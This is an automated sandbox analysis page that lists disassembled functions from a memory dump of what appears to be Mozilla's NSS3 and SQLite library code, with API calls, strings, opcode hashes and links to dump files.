abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0A0F2B

Strings

Aborting, xrefs: 6D0A0EB3
Assertion failure: %s, at %s:%d, xrefs: 6D0A0ED9, 6D0A0EE5, 6D0A0F06, 6D0A0F0B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 26f1a772ecd0bc9efd540c5588efac5fec60ee3b0c5b051ff3ee5285d3f7b174
Instruction ID: d8cc6b0b8346d5dee044b661c22619a2e5f719eb69f0e7225463a797c7264d11
Opcode Fuzzy Hash: 26f1a772ecd0bc9efd540c5588efac5fec60ee3b0c5b051ff3ee5285d3f7b174
Instruction Fuzzy Hash: E8F068B5C042087BEE016BA2DC49E9B3E3DDF86774F044424FD0956202DB77E92496B7

Function 6D004DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6D004DCB

Part of subcall function 6CFF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
Part of subcall function 6CFF0FF0: PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016
Part of subcall function 6CFF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6D004DE1

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6D004DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D004E59

Part of subcall function 6CFEFAB0: free.MOZGLUE(?,-00000001,?,?,6CF8F673,00000000,00000000), ref: 6CFEFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0C300C,00000000), ref: 6D004EB8
SECOID_FindOID_Util.NSS3(?), ref: 6D004EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6D004F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D00521A

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: ec9af49fbea08f721430e3dbbac400b7e74cee5d34851aaeea263f9da316ed66
Instruction ID: bcae0f2a3e475c3a0db2014112dd8fe510c880a993dbd4ca1fdf274b58e62e57
Opcode Fuzzy Hash: ec9af49fbea08f721430e3dbbac400b7e74cee5d34851aaeea263f9da316ed66
Instruction Fuzzy Hash: F2F16A75E0020AEBFB04CF54D8447BDB7F2BF49354F258169D914AB281EB75E982CB90

Function 6D000C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6D002C2A), ref: 6D000C81

Part of subcall function 6CFEBE30: SECOID_FindOID_Util.NSS3(6CFA311B,00000000,?,6CFA311B,?), ref: 6CFEBE44

Part of subcall function 6CFD8500: SECOID_GetAlgorithmTag_Util.NSS3(6CFD95DC,00000000,00000000,00000000,?,6CFD95DC,00000000,00000000,?,6CFB7F4A,00000000,?,00000000,00000000), ref: 6CFD8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D000CC4

Part of subcall function 6CFEFAB0: free.MOZGLUE(?,-00000001,?,?,6CF8F673,00000000,00000000), ref: 6CFEFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6D000CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6D000D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6D000D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6D000D7D
free.MOZGLUE(00000000), ref: 6D000DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D000DC1
free.MOZGLUE(00000000), ref: 6D000DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D000E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6D000E0F

Part of subcall function 6CFD95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CFB7F4A,00000000,?,00000000,00000000), ref: 6CFD95E0
Part of subcall function 6CFD95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CFB7F4A,00000000,?,00000000,00000000), ref: 6CFD95F5
Part of subcall function 6CFD95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CFD9609
Part of subcall function 6CFD95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CFD961D
Part of subcall function 6CFD95C0: PK11_GetInternalSlot.NSS3 ref: 6CFD970B
Part of subcall function 6CFD95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CFD9756
Part of subcall function 6CFD95C0: PK11_GetIVLength.NSS3(?), ref: 6CFD9767
Part of subcall function 6CFD95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CFD977E
Part of subcall function 6CFD95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFD978E

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: f51050813ddbb8523cac82aa669bbf63c918537850097ef83c8bb3cf920c235f
Instruction ID: 44f5182369ddd4f82071034a90619d9d206229f79810e26c7f6d26108474659f
Opcode Fuzzy Hash: f51050813ddbb8523cac82aa669bbf63c918537850097ef83c8bb3cf920c235f
Instruction Fuzzy Hash: AB41B0B5D00206ABFB009F66DC45BFF7AB4AF44318F044025E9196B341EB35AA54CBF2

Function 6CF94FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6D0E0148,?,6CFA6FEC), ref: 6CF9502A
PR_NewLock.NSS3(00000001,00000000,6D0E0148,?,6CFA6FEC), ref: 6CF95034
PL_NewHashTable.NSS3(00000000,6CFEFE80,6CFEFD30,6D03C350,00000000,00000000,00000001,00000000,6D0E0148,?,6CFA6FEC), ref: 6CF95055
PL_NewHashTable.NSS3(00000000,6CFEFE80,6CFEFD30,6D03C350,00000000,00000000,?,00000001,00000000,6D0E0148,?,6CFA6FEC), ref: 6CF9506D

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 45d146e3a601aa7b6fb65e513032b27536ca9a2f56ea36c483b0395c0917f9c4
Instruction ID: db812895da3df24165bee175a26c0e7d8014c7539e48a03b943d3e1b50d28c1d
Opcode Fuzzy Hash: 45d146e3a601aa7b6fb65e513032b27536ca9a2f56ea36c483b0395c0917f9c4
Instruction Fuzzy Hash: C231F8B29062909BFF20CB75A808B5B3BB8FB6370DF264215EE05C3640D3759494CBE5

Function 6CF32E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF32F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CF32FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CF33005
memcpy.VCRUNTIME140(?,?,?), ref: 6CF330EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF33131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF33178

Strings

%s at line %d of [%.10s], xrefs: 6CF33171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF33022, 6CF33156, 6CF33162, 6CF3318A, 6CF33196, 6CF331A2, 6CF331AE, 6CF331BA, 6CF331C6
database corruption, xrefs: 6CF3316C

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 3ad2435fe74c9552d313026d442fbbde247b3929493fa4030943bbdc7b800dbb
Instruction ID: 052e9a288e1294c2a774a8580af62133bf9652b54b205ee2087ae064cdb83c6a
Opcode Fuzzy Hash: 3ad2435fe74c9552d313026d442fbbde247b3929493fa4030943bbdc7b800dbb
Instruction Fuzzy Hash: 9DB1A2B1E05225ABDB08CF9DC884AFEB7B1BF48304F15502AE849B7742D7759946CBE0

Function 6CF82D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CF82D69

Strings

winSeekFile, xrefs: 6CF82E9C
@m, xrefs: 6CF82E24
winTruncate2, xrefs: 6CF82EF8
Pm, xrefs: 6CF82E74, 6CF82EC5, 6CF82F32, 6CF82F5C
winUnmapfile1, xrefs: 6CF82F55
winTruncate1, xrefs: 6CF82EBE
m, xrefs: 6CF82DD0
winUnmapfile2, xrefs: 6CF82F7F

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: __allrem
String ID: @m$Pm$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$m
API String ID: 2933888876-1771860685
Opcode ID: cea1b3aadfff1a8a9471a413d15786e907823b217451ba368eb8daf7bb4819aa
Instruction ID: c71e88fcd67035244d9c6629e9f5fc48d14ee387b116f48bc8f6c32e8db3adfe
Opcode Fuzzy Hash: cea1b3aadfff1a8a9471a413d15786e907823b217451ba368eb8daf7bb4819aa
Instruction Fuzzy Hash: FB618271A012059FDB04CF68DC84BAA7BB1FF49314F20812DED199B790DB31AD06CB95

Function 6D007F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6D007FB2

Part of subcall function 6CF8BA40: TlsGetValue.KERNEL32 ref: 6CF8BA51
Part of subcall function 6CF8BA40: TlsGetValue.KERNEL32 ref: 6CF8BA6B
Part of subcall function 6CF8BA40: EnterCriticalSection.KERNEL32 ref: 6CF8BA83
Part of subcall function 6CF8BA40: TlsGetValue.KERNEL32 ref: 6CF8BAA1
Part of subcall function 6CF8BA40: _PR_MD_UNLOCK.NSS3 ref: 6CF8BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6D007FD4

Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590AB
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590C9
Part of subcall function 6D059090: EnterCriticalSection.KERNEL32 ref: 6D0590E5
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D059116
Part of subcall function 6D059090: LeaveCriticalSection.KERNEL32 ref: 6D05913F

Part of subcall function 6D009430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6D009466

PR_ExitMonitor.NSS3(?), ref: 6D00801B
PR_EnterMonitor.NSS3(?), ref: 6D008034
TlsGetValue.KERNEL32 ref: 6D0080A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D0080C0
PR_ExitMonitor.NSS3(?), ref: 6D00811C
PR_ExitMonitor.NSS3(?), ref: 6D008134

Strings

), xrefs: 6D0080DB

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: cec42d6a1b5d6fc97f4b3b89ccfcc7ebe46357a205208d65dcb8412384d93aa4
Instruction ID: 52beaab417783e23a59985c875b9d8640a902c9508d87d0ffeb144a29e1c9aea
Opcode Fuzzy Hash: cec42d6a1b5d6fc97f4b3b89ccfcc7ebe46357a205208d65dcb8412384d93aa4
Instruction Fuzzy Hash: 145114B5908706ABFB21AB349C05BFF77F4BF46308F048528DE5957242EB31A654C792

Function 6CFAFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CFAFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CFAFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CFAFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFAFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CFAFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CFAFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CFAFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFAFD84

Strings

:, xrefs: 6CFAFD78

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: b5566b54105252fc9facbc2bd5bcfad8d2b7b78ca13c7dc4a3268e970e2c1c3a
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2B31C2B6E002159BEB428AE5DC45BAFB7A8EF44318F190135DD14EB601E771EA06C7E2

Function 6CF90F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CF90F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CF90F84

Part of subcall function 6CFEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0C18D0,?), ref: 6CFEB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CFAF59B,6D0B890C,?), ref: 6CF90FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CF90FC1

Part of subcall function 6CFF0BE0: malloc.MOZGLUE(6CFE8D2D,?,00000000,?), ref: 6CFF0BF8
Part of subcall function 6CFF0BE0: TlsGetValue.KERNEL32(6CFE8D2D,?,00000000,?), ref: 6CFF0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CF90FDB
PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CF90FEF
PL_FreeArenaPool.NSS3(?), ref: 6CF91001
PL_FinishArenaPool.NSS3(?), ref: 6CF91009

Strings

security, xrefs: 6CF90F5C

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: c546ac071ddfd0ae3bd7b06bdfb215d96b142675ea1deb0c8d152430d91f0785
Instruction ID: 3ee203b113287f114f38d85d18bdb5a05523e5e5393cb66963632f38aa86ea0c
Opcode Fuzzy Hash: c546ac071ddfd0ae3bd7b06bdfb215d96b142675ea1deb0c8d152430d91f0785
Instruction Fuzzy Hash: 0921F5B1904204ABEB109F24DC41BAF77B4EF8865CF148518FD1897252FB32EA56CB92

Function 6CF96DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CF97D8F,6CF97D8F,?,?), ref: 6CF96DC8

Part of subcall function 6CFEFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CFEFE08
Part of subcall function 6CFEFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CFEFE1D
Part of subcall function 6CFEFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CFEFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CF97D8F,?,?), ref: 6CF96DD5

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0B8FA0,00000000,?,?,?,?,6CF97D8F,?,?), ref: 6CF96DF7

Part of subcall function 6CFEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0C18D0,?), ref: 6CFEB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CF96E35

Part of subcall function 6CFEFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CFEFE29
Part of subcall function 6CFEFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CFEFE3D
Part of subcall function 6CFEFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CFEFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CF96E4C

Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0B8FE0,00000000), ref: 6CF96E82

Part of subcall function 6CF96AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CF9B21D,00000000,00000000,6CF9B219,?,6CF96BFB,00000000,?,00000000,00000000,?,?,?,6CF9B21D), ref: 6CF96B01
Part of subcall function 6CF96AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CF96B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CF96F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CF96F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0B8FE0,00000000), ref: 6CF96F6B
PR_SetError.NSS3(FFFFE005,00000000,6CF97D8F,?,?), ref: 6CF96FE1

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: a72be6a14587756e33c94460b60c7b6f25660c5f73d91f92611380de9e2bf5a4
Instruction ID: 8e512ebc86f57ff87e44b5775bd418e2f1b64c12627632ec7515fe4e0a9c7205
Opcode Fuzzy Hash: a72be6a14587756e33c94460b60c7b6f25660c5f73d91f92611380de9e2bf5a4
Instruction Fuzzy Hash: F5716C71E10646ABEB41CF15CD40BAABBA4BF9434CF154229F818DBA11F771EA94CBD0

Function 6CFD0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFD1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD1085
PK11_GetAllTokens.NSS3 ref: 6CFD10B1
free.MOZGLUE(?), ref: 6CFD1107
PR_SetError.NSS3(00000000,00000000), ref: 6CFD1172
free.MOZGLUE(?), ref: 6CFD1182
free.MOZGLUE(?), ref: 6CFD11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CFD11C5

Part of subcall function 6CFD52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CFAEAC5,00000001), ref: 6CFD52DF
Part of subcall function 6CFD52C0: EnterCriticalSection.KERNEL32(?), ref: 6CFD52F3
Part of subcall function 6CFD52C0: PR_Unlock.NSS3(?), ref: 6CFD5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CFD11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CFD11F3

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
